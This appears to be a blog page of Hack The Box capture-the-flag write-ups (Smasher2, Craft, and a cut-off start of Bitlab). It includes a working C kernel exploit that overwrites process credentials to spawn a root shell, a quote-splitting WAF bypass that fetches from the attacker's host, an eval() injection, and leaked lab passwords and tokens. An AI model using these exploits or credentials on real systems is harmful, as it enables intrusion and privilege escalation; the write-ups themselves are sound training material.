smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)
root@kali:~/Desktop/HTB/boxes/smasher2#
wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.
Web Enumeration
http://smasher2.htb had the default Apache index page:
http://wonderfulsessionmanager.smasher2.htb:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:
The only result that wasn’t 403 was /backup so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:
By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb.
auth.py: Analysis
auth.py:
#!/usr/bin/env python
importsesfromflaskimportsession,redirect,url_for,request,render_template,jsonify,Flask,send_from_directoryfromthreadingimportLockimporthashlibimporthmacimportosimportbase64importsubprocessimporttimedefget_secure_key():m=hashlib.sha1()m.update(os.urandom(32))returnm.hexdigest()defcraft_secure_token(content):h=hmac.new("HMACSecureKey123!",base64.b64encode(content).encode(),hashlib.sha256)returnh.hexdigest()lock=Lock()app=Flask(__name__)app.config['SECRET_KEY']=get_secure_key()Managers={}deflog_creds(ip,c):withopen("creds.log","a")ascreds:creds.write("Login from {} with data {}:{}\n".format(ip,c["username"],c["password"]))creds.close()defsafe_get_manager(id):lock.acquire()manager=Managers[id]lock.release()returnmanagerdefsafe_init_manager(id):lock.acquire()ifidinManagers:delManagers[id]else:login=["<REDACTED>","<REDACTED>"]Managers.update({id:ses.SessionManager(login,craft_secure_token(":".join(login)))})lock.release()defsafe_have_manager(id):ret=Falselock.acquire()ret=idinManagerslock.release()returnret@app.before_requestdefbefore_request():ifrequest.path=="/":ifnotsession.has_key("id"):k=get_secure_key()safe_init_manager(k)session["id"]=kelifsession.has_key("id")andnotsafe_have_manager(session["id"]):delsession["id"]returnredirect("/",302)else:ifsession.has_key("id")andsafe_have_manager(session["id"]):passelse:returnredirect("/",302)@app.after_requestdefafter_request(resp):returnresp@app.route('/assets/<path:filename>')defbase_static(filename):returnsend_from_directory(app.root_path+'/assets/',filename)@app.route('/',methods=['GET'])defindex():returnrender_template("index.html")@app.route('/login',methods=['GET'])defview_login():returnrender_template("login.html")@app.route('/auth',methods=['POST'])deflogin():ret={"authenticated":None,"result":None}manager=safe_get_manager(session["id"])data=request.get_json(silent=True)ifdata:try:tmp_login=dict(data["data"])except:passtmp_user_login=Nonetry:is_logged=manager.check_login(data)secret_token_info=["/api/<api_key>/job",manager.secret_key,int(time.time())]try:tmp_user_login={"username":tmp_login["username"],"password":tmp_login["password"]}except:passifnotis_logged[0]:ret["authenticated"]=Falseret["result"]="Cannot authenticate with data: %s - %s"%(is_logged[1],"Too many tentatives, wait 2 minutes!"ifmanager.blockedelse"Try again!")else:iftmp_user_loginisnotNone:log_creds(request.remote_addr,tmp_user_login)ret["authenticated"]=Trueret["result"]={"endpoint":secret_token_info[0],"key":secret_token_info[1],"creation_date":secret_token_info[2]}exceptTypeErrorase:ret["authenticated"]=Falseret["result"]=str(e)else:ret["authenticated"]=Falseret["result"]="Cannot authenticate missing parameters."returnjsonify(ret)@app.route("/api/<key>/job",methods=['POST'])defjob(key):ret={"success":None,"result":None}manager=safe_get_manager(session["id"])ifmanager.secret_key==key:data=request.get_json(silent=True)ifdataandtype(data)==dict:if"schedule"indata:out=subprocess.check_output(['bash','-c',data["schedule"]])ret["success"]=Trueret["result"]=outelse:ret["success"]=Falseret["result"]="Missing schedule parameter."else:ret["success"]=Falseret["result"]="Invalid value provided."else:ret["success"]=Falseret["result"]="Invalid token."returnjsonify(ret)app.run(host='127.0.0.1',port=5000)
I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz, Administrator worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> User Flag
I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:
However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:
cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>
cmd:
I could easily bypass it by inserting single quotes in the command:
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
cmd:
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -
To automate the exploitation process I wrote this small exploit:
I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:
We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.
In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:
dzonerzy@smasher2:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
dzonerzy@smasher2:~$ cat README
.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0
by DZONERZY
Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *
dzonerzy@smasher2:~$
After some enumeration, I checked the auth log and saw this line:
I opened the module in ghidra then I started checking the functions:
The function dev_read() had a hint that this is the intended way to root the box:
longdev_read(undefined8param_1,undefined8param_2){intiVar1;__fentry__();iVar1=_copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);return(ulong)(-(uint)(iVar1==0)&0xf)-0xe;}
One interesting function that caught my attention was dev_mmap():
In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap() is a custom mmap handler.
The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("[!] Open failed!\n");return-1;}printf("[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("[!] Failed to mmap");close(fd);return-1;}printf("[*] mmap OK address: %lx\n",addr);intstop=getchar();return0;}
Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:
structcred{atomic_tusage;#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */void*put_addr;unsignedmagic;#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_tuid;/* real UID of the task */kgid_tgid;/* real GID of the task */kuid_tsuid;/* saved UID of the task */kgid_tsgid;/* saved GID of the task */kuid_teuid;/* effective UID of the task */kgid_tegid;/* effective GID of the task */kuid_tfsuid;/* UID for VFS ops */kgid_tfsgid;/* GID for VFS ops */unsignedsecurebits;/* SUID-less security management */kernel_cap_tcap_inheritable;/* caps our children can inherit */kernel_cap_tcap_permitted;/* caps we're permitted */kernel_cap_tcap_effective;/* caps we can actually use */kernel_cap_tcap_bset;/* capability bounding set */kernel_cap_tcap_ambient;/* Ambient capability set */#ifdef CONFIG_KEYS
unsignedcharjit_keyring;/* default keyring to attach requested
* keys to */structkey*session_keyring;/* keyring inherited over fork */structkey*process_keyring;/* keyring private to this process */structkey*thread_keyring;/* keyring private to this thread */structkey*request_key_auth;/* assumed request_key authority */#endif
#ifdef CONFIG_SECURITY
void*security;/* subjective LSM security */#endif
structuser_struct*user;/* real user ID subscription */structuser_namespace*user_ns;/* user_ns the caps and keyrings are relative to. */structgroup_info*group_info;/* supplementary groups for euid/fsgid *//* RCU deletion */union{intnon_rcu;/* Can we skip RCU deletion? */structrcu_headrcu;/* RCU deletion hook */};}
We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
kuid_tuid;/* real UID of the task */kgid_tgid;/* real GID of the task */kuid_tsuid;/* saved UID of the task */kgid_tsgid;/* saved GID of the task */kuid_teuid;/* effective UID of the task */kgid_tegid;/* effective GID of the task */kuid_tfsuid;/* UID for VFS ops */kgid_tfsgid;/* GID for VFS ops */
These 8 integers are followed by a variable called securebits:
Then that variable is followed by our capabilities:
kernel_cap_tcap_inheritable;/* caps our children can inherit */kernel_cap_tcap_permitted;/* caps we're permitted */kernel_cap_tcap_effective;/* caps we can actually use */kernel_cap_tcap_bset;/* capability bounding set */kernel_cap_tcap_ambient;/* Ambient capability set */
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first.
To do that we will get our uid with getuid():
unsignedintuid=getuid();
Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:
Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:
credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("[*] Process cred structure found ptr: %p, crednum: %d\n",addr,credNum);break;}
pwn.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("[!] Open failed!\n");return-1;}printf("[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("Failed to mmap: ");close(fd);return-1;}printf("[*] mmap OK address: %lx\n",addr);unsignedintuid=getuid();printf("[*] Current UID: %d\n",uid);unsignedintcredIt=0;unsignedintcredNum=0;while(((unsignedlong)addr)<(mmapStart+size-0x40)){credIt=0;if(addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid){credNum++;printf("[*] Cred structure found! ptr: %p, crednum: %d\n",addr,credNum);credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("[*] Process cred structure found ptr: %p, crednum: %d\n",addr,credNum);break;}else{credIt=0;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;}}addr++;}fflush(stdout);intstop=getchar();return0;}
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
intmain(intargc,char*const*argv){printf("\033[93m[+] PID: %d\n",getpid());intfd=open("/dev/dhid",O_RDWR);if(fd<0){printf("\033[93m[!] Open failed!\n");return-1;}printf("\033[32m[*] Open OK fd: %d\n",fd);unsignedlongsize=0xf0000000;unsignedlongmmapStart=0x42424000;unsignedint*addr=(unsignedint*)mmap((void*)mmapStart,size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0x0);if(addr==MAP_FAILED){perror("\033[93m[!] Failed to mmap !");close(fd);return-1;}printf("\033[32m[*] mmap OK address: %lx\n",addr);unsignedintuid=getuid();puts("\033[93m[+] Searching for the process cred structure ...");unsignedintcredIt=0;unsignedintcredNum=0;while(((unsignedlong)addr)<(mmapStart+size-0x40)){credIt=0;if(addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid&&addr[credIt++]==uid){credNum++;credIt=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;addr[credIt++]=0;if(getuid()==0){printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n",addr,credNum);puts("\033[32m[*] Got Root");puts("\033[32m[+] Spawning a shell");credIt+=1;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;addr[credIt++]=0xffffffff;execl("/bin/sh","-",(char*)NULL);puts("\033[93m[!] Execl failed...");break;}else{credIt=0;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;addr[credIt++]=uid;}}addr++;}return0;}
And finally:
dzonerzy@smasher2:/dev/shm$ ./pwn
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
root@kali:~/Desktop/HTB/boxes/craft#
We got https on port 443 and ssh on port 22.
Web Enumeration
The home page was kinda empty, Only the about info and nothing else:
The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:
So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them. https://api.craft.htb/api:
Here we can see the API endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb had gogs running:
The repository of the API source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:
@@-38,9+38,13@@classBrewCollection(Resource):"""
Creates a new brew entry.
"""--create_brew(request.json)-returnNone,201++# make sure the ABV value is sane.
+ifeval('%s > 1'%request.json['abv']):+return"ABV must be a decimal value less than 1.0",400+else:+create_brew(request.json)+returnNone,201@ns.route('/<int:id>')@api.response(404,'Brew not found.')
I took a look at the API documentation again to find in which request I can send the abv parameter:
As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:
+response=requests.get('https://api.craft.htb/api/auth/login',auth=('dinesh','4aUh0A8PbVJxgd'),verify=False)+json_response=json.loads(response.text)+token=json_response['token']++headers={'X-Craft-API-Token':token,'Content-Type':'application/json'}++# make sure token is valid
+response=requests.get('https://api.craft.htb/api/auth/check',headers=headers,verify=False)+print(response.text)+
I tested the credentials and they were valid:
RCE –> Shell on Docker Container
I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell. exploit.py:
Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #
Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag
In /opt/app there was a python script called dbtest.py, It connects to the database and executes a SQL query:
/opt/app# ls -la
total44drwxr-xr-x5rootroot4096Jan317:28.drwxr-xr-x1rootroot4096Feb92019..drwxr-xr-x8rootroot4096Feb82019.git-rw-r--r--1rootroot18Feb72019.gitignore-rw-r--r--1rootroot1585Feb72019app.pydrwxr-xr-x5rootroot4096Feb72019craft_api-rwxr-xr-x1rootroot673Feb82019dbtest.pydrwxr-xr-x2rootroot4096Feb72019tests/opt/app# cat dbtest.py
#!/usr/bin/env python
importpymysqlfromcraft_apiimportsettings# test connection to mysql database
connection=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor)try:withconnection.cursor()ascursor:sql="SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"cursor.execute(sql)result=cursor.fetchone()print(result)finally:connection.close()/opt/app#
I copied the script and changed result = cursor.fetchone() to result = cursor.fetchall() and I changed the query to SHOW TABLES:
#!/usr/bin/env python
importpymysqlfromcraft_apiimportsettings# test connection to mysql database
connection=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor)try:withconnection.cursor()ascursor:sql="SHOW TABLES"cursor.execute(sql)result=cursor.fetchall()print(result)finally:connection.close()
#!/usr/bin/env python
importpymysqlfromcraft_apiimportsettings# test connection to mysql database
connection=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor)try:withconnection.cursor()ascursor:sql="SELECT * FROM user"cursor.execute(sql)result=cursor.fetchall()print(result)finally:connection.close()
The table had all users credentials stored in plain text:
Gilfoyle had a private repository called craft-infra:
He left his private ssh key in the repository:
When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked:
We owned user.
Vault –> One-Time SSH Password –> SSH as root –> Root Flag
In Gilfoyle’s home directory there was a file called .vault-token:
gilfoyle@craft:~$ ls -la
total 44
drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle@craft:~$
A quick search revealed that it’s related to vault.
Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io
By looking at vault.sh from craft-infra repository (vault/vault.sh), we’ll see that it enables the ssh secrets engine then creates an otp role for root:
#!/bin/bash# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \key_type=otp \default_user=root \cidr_list=0.0.0.0/0
We have the token (.vault-token) so we can easily authenticate to the vault and create an otp for a root ssh session:
gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key c495f06b-daac-8a95-b7aa-c55618b037ee
key_type otp
port 22
username root
gilfoyle@craft:~$
And finally we’ll ssh into localhost and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee):
gilfoyle@craft:~$ ssh [email protected]
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~#
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
root@kali:~/Desktop/HTB/boxes/bitlab#
We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.
Web Enumeration
Gitlab was running on the web server and we need credentials:
I checked /robots.txt to see if there was anything interesting:
root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /
# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1
# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in
